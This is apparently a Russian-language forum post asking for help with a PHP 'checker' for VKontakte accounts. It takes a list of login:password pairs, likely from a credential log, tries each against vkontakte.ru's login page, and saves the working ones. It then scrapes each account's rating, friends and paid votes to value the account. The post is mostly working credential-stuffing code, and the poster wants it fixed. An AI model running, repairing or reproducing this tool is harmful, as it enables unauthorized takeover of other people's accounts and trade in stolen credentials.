|
Познающий
Регистрация: 19.01.2009
Сообщений: 94
Провел на форуме: 1440203
Репутация:
47
|
|
нужны ещё вроде put() либо fputs() посоветовали..
fputs() тока в коде имеется:
PHP код:
<center><div style='width: 100%; text-align: center;'><img src='http://vkontakte.ru/images/xhead2.gif' /></div></center>
<?
@set_time_limit(0);
$votes = 0;
$traffic = 0;
$badacc = 0;
$friendz = 0;
$ratecount = 0;
$goldcount = 0;
$fbad = fopen("lowrate.txt","w");
fclose($fbad);
$fbad = fopen("lowrate.txt","a+");
$fval = fopen("valid.txt","w");
fclose($fval);
$fval= fopen("valid.txt","a+");
@$filelog = file_get_contents("log.txt");
if(!empty($_POST['list']))
{
$accs123 = split("\n",$_POST['list']); }
else {
$accs123 = split("\n",$filelog); }
if(empty($_POST['list']) && empty($filelog)) {
$aaaa = 0; } else {
$aaaa = count($accs123); }
if(!isset($_POST['list'])) {
echo <<<list
<center><form method="post">
<p>
Список акков <br>
Если нажать кнопку "проверить" с пустым полем - будут проверяться акки из <b>log.txt</b><br>
<textarea name="list" rows=15 cols=37></textarea><br>
<input type="submit" value="Проверить" >
</p>
</form></center>
list;
echo ("<br><center><b>(c) AdReNa1!Ne & Kaimi<br>All Rights Left</b></center>");
die();
}
$valid = 0;
$invalid = 0;
@$filelog = file_get_contents("log.txt");
set_time_limit(0);
if(!empty($_POST['list']))
{
$accs = split("\n",$_POST['list']);
}
else {
$accs = split("\n",$filelog); }
$accs = array_unique($accs);
if(!empty($accs)) {
$browser="Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14";
echo '<center><table border="1"><tr><td><b>Аккаунт</b></td><td><b>Рейтинг</b></td><td><b>Идентификатор</b></td><td><b>Друзья</b></td><td><b>Оплаченные голоса</b></td></tr>';
foreach($accs as $acc)
{
$pos = strpos($acc, ";");
$pos1 = strpos($acc, ":");
$acc = trim($acc);
if($pos != false) {
$separator = ";"; }
if($pos1 != false) {
$separator = ":"; }
list($login, $pwd) = split($separator, $acc);
$ret=socket_do("vkontakte.ru","email={$login}&pass={$pwd}","/login.php",$browser,'',1,"POST",'http://vkontakte.ru',1,'','');
$traffic = $traffic + strlen($ret);
if(preg_match("/\b302 Found\b/is", $ret)) {
fputs($fval, $acc);
$valid++;
}
$ret=substr($ret,0,strpos($ret,"\r\n\r\n"));
preg_match_all('/Set-Cookie: (.+);/iUs',$ret,$cook);
$cookies = array();
foreach($cook[1] as $ck)
{
$cookies[]=$ck;
}
$cookies=implode('; ',array_unique($cookies));
$ret=socket_do("vkontakte.ru",'',"/rate.php",$browser,$cookies,1,"GET",'',0,'','');
$traffic = $traffic + strlen($ret);
preg_match('/remixmid=(\d+);/i',$cookies, $id);
preg_match('/У Вас <b>(.*)</i',$ret, $vote);
$votes = $votes + $vote[1];
if(!empty($vote[1])) {
$voteansw = "<td><b>Голосов - $vote[1]</b></td>";
}
else {
$voteansw = "<td>Голосов - 0</td>"; }
$retfri=socket_do("vkontakte.ru",'',"/id".$id[1],$browser,$cookies,1,"GET",'',0,'','');
$traffic = $traffic + strlen($retfri);
preg_match('/Друзья <span>(.*)</i',$retfri, $friends);
$friends = str_replace("(","",$friends);
$friends = str_replace(")","",$friends);
$friends = str_replace("</span></h2>","",$friends);
$friendz = $friendz + $friends[1];
if($friends[1] > 500) {
$friendszzzz = "<b>".$friends[1]."</b>"; }
else {
$friendszzzz = $friends[1]; }
if(strlen($id[1]) < 6) {
$idch = "<b>".$id[1]."</b>"; }
else {
$idch = $id[1]; }
if(!preg_match('/percentGold" style="width:100px">(.*)</',$ret, $rate))
{
preg_match('/percent" style="width:100px">(.*)</',$ret, $rate);
if($rate[1] == "100%") {
$rrrr = "FULL RATE";
$ratemin = str_replace("%","",$rate[1]);
if($ratemin < 30) {
fputs($fbad, $acc);
$badacc++; }
} else {
$rrrr = "RATE"; }
$ratemin = str_replace("%","",$rate[1]);
if($ratemin < 30) {
fputs($fbad, $acc);
$badacc++; }
if(strlen($rate[1]>0) && $ratemin > 30) echo "<tr><td>$acc</td> <td>$rate[1] - $rrrr</td> <td>ID - $idch</td><td>Друзей - $friendszzzz</td>$voteansw</tr>\n";
}
else
{
$ratemin = str_replace("%","",$rate[1]);
if($ratemin < 30) {
fputs($fbad, $acc);
$badacc++; }
if(strlen($rate[1]>0) && $ratemin > 30) echo "<tr><td>$acc <td><b>$rate[1] - GOLD RATE</b></td> <td>ID - $idch</td><td>Друзей - $friendszzzz</td>$voteansw</tr>\n";
$goldcount++;
}
}
usleep(500);
}
function socket_do($host,$vars,$service_uri,$browser,$cookies='',$sread=1,$method='POST',$ref='',$addheaders=1,$proxy=false,$proxyport=0,$HTTP='1.0')
{
$ret="";
if($method=='GET' && $vars)
{
$service_uri.='?'.$vars;
$vars='';
}
$header="Host: $host\r\n";
$header.="User-Agent: $browser\r\n";
if($addheaders==1)
{
$header.="Content-Type: application/x-www-form-urlencoded\r\n";
$header.="Content-Length: ".strlen($vars)."\r\n";
}
else if($addheaders==0)
{
$header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$header.="Accept-Encoding: \r\n";
$header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
}
else if($addheaders==2)
{
$header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$header.="Accept-Encoding: \r\n";
$header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
$header.="Pragma: no-cache\r\n";
$header.="Cache-Control: no-cache\r\n";
$header.="Content-Length: ".strlen($vars)."\r\n";
$header.="Content-Type: application/x-www-form-urlencoded; charset=windows-1251\r\n";
}
else if($addheaders==3)
{
$header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$header.="Accept-Encoding: gzip,deflate\r\n";
$header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
}
if($ref) $header.="Referer: $ref\r\n";
$header.="Connection: close\r\n";
if($cookies)
$header.="Cookie: $cookies\r\n";
$header.="\r\n";
if($proxy)
{
$addquery="$method http://$host$service_uri HTTP/$HTTP\r\n";
$fp=fsockopen("tcp://".$proxy,$proxyport,$errno,$errstr,30);
}
else
{
$addquery="$method $service_uri HTTP/$HTTP\r\n";
$fp=fsockopen("tcp://".$host,80,$errno,$errstr,30);
}
stream_set_timeout($fp,30);
if(!$fp)
{
print "<font color=red>Socket error: <i>$errstr ($errno)</i></font><br>";
return '';
}
fputs($fp,$addquery);
fputs($fp,$header.$vars);
if($sread)
{
while(!feof($fp))
{
$ret.=fgets($fp, 128);
}
}
fclose($fp);
return $ret;
}
fclose($fval);
fclose($fbad);
$invalid = $aaaa - $valid;
$ratecount = $valid - $goldcount;
$traffic = $traffic / 1024;
выручайте, знаю, вы сможете
нужно чтоб записывал валидные акки с каждой новой строкой
|